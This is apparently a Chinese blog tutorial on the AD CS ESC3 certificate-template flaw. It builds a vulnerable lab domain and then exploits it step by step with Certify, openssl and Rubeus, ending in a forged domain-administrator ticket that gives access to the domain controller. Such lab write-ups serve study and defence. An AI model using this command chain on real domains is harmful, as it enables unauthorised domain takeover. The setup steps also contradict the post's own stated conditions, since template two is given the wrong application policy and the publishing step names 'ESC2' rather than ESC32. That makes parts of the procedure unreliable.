ADCS-ESC3漏洞环境构造与利用

发布于:2025-02-26 ⋅ 阅读:(127) ⋅ 点赞:(0)

原理

ESC3漏洞源于ADCS中证书模板配置不当,其利用证书请求代理EKU,该EKU本用于特定场景下主体代表其他用户注册证书。但当存在两个特定配置的证书模板时,低权限用户利用第一个模板(需有权限注册证书且应用策略开启“证书申请代理”等)申请包含证书请求代理EKU的证书,然后使用此证书,借助第二个模板(需有权限注册证书、定义启用认证的EKU等)代表高权限用户申请证书。若CA配置存在漏洞,未严格验证就颁发证书,攻击者就能获取高权限证书,进而通过获取TGT票据提升权限,访问域内高权限资源 。

漏洞利用条件

模板一

证书注册权限:Authenticated Users具备获取证书的权限。

应用程序策略:证书应用程序策略为证书申请代理。

使用者名称:用户主体名称。

模板二

证书注册权限:Authenticated Users具备获取证书的权限。

应用程序策略:证书应用程序策略为客户端身份验证和智能卡登录。

使用者名称:用户主体名称。

漏洞环境构造

配置证书模板一

在ADCS服务器中运行中输入certtmpl.msc打开证书模板控制台,右键复制工作站身份验证

常规

模板名称设置为ESC3

安全

将Authenticated Users加入注册权限

使用者名称

选择用AD中的信息生成,勾选用户主体名称

扩展

选择应用程序策略,将策略设置为证书申请代理

配置证书模板二

在ADCS服务器中运行中输入certtmpl.msc打开证书模板控制台,右键复制工作站身份验证

常规

模板名称设置为ESC32

安全

将Authenticated Users加入注册权限

使用者名称

选择用AD中的信息生成,勾选用户主体名称

扩展

选择应用程序策略,将策略设置为证书申请代理

发布要求

发布证书模板

打开certsrv.msc

在证书颁发机构中的证书模板右键点击新建要颁发的证书模板,选择新复制的模板ESC2确定添加

漏洞环境检测

使用Certify检测有没有证书配置错误

Certify.exe find /vulnerable

当出现以下情况时,满足 ESC3 漏洞条件,即存在 ESC3 漏洞:

  1. mspki-certificate-application-policy:证书申请代理
  2. Enrollment Rights:Authenticated Users可获取证书

满足上述条件,可利用证书漏洞伪装成域管理员获取更高权限。

漏洞利用

在普通域用户下,使用Certify.exe以administrator身份申请ESC3证书

Certify.exe request /ca:adcs.lutra.com\lutra-ADCS-CA /template:ESC3 /altname:administrator

将申请的证书复制保存为esc3.pem,使用openssl转为esc3.pfx,密码为空即可

openssl pkcs12 -in esc3.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc3.pfx

通过esc3.pfx获取ESC32证书

Certify.exe request /ca:adcs.lutra.com\lutra-ADCS-CA /template:ESC32  /onbehalfof:lutra\administrator /enrollcert:esc3.pfx 

将申请的证书复制保存为esc32.pem,使用openssl转为esc32.pfx,密码为空即可

openssl pkcs12 -in esc32.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc32.pfx

使用Rubeus请求域管administrator的TGT

Rubeus.exe asktgt /user:administrator /certificate:esc32.pfx /dc:192.168.110.127 /ptt

将域控制器身份验证注册后再次执行,成功导入票据

导入票据后,已经有权限访问域控目录


网站公告

今日签到

点亮在社区的每一天
去签到